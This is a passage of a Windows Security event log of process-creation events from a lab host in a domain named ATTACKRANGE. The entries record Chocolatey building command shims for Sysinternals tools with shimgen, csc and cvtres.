Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\junction64.exe" --output="C:\ProgramData\chocolatey\bin\junction64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\junction64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246535
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD193.tmp" "c:\ProgramData\chocolatey\bin\CSCF97A19CCA903481D9026743E6ECC561A.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246534
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x824
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\junction.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x824
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246531
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x824
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\junction.exe" --output="C:\ProgramData\chocolatey\bin\junction.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\junction.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246530
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD0B8.tmp" "c:\ProgramData\chocolatey\bin\CSC916478E9FC144CC295FA6D4877CF6754.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246529
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246528
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc48
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\hex2dec64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246527
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x998
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc48
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\hex2dec64.exe" --output="C:\ProgramData\chocolatey\bin\hex2dec64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\hex2dec64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246572
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246571
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3c4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrd64.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrd64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrd64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246570
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD78E.tmp" "c:\ProgramData\chocolatey\bin\CSC82BA5380CEF54323BDD416EFE2EF1A5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246569
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246568
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246567
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246566
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe68
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
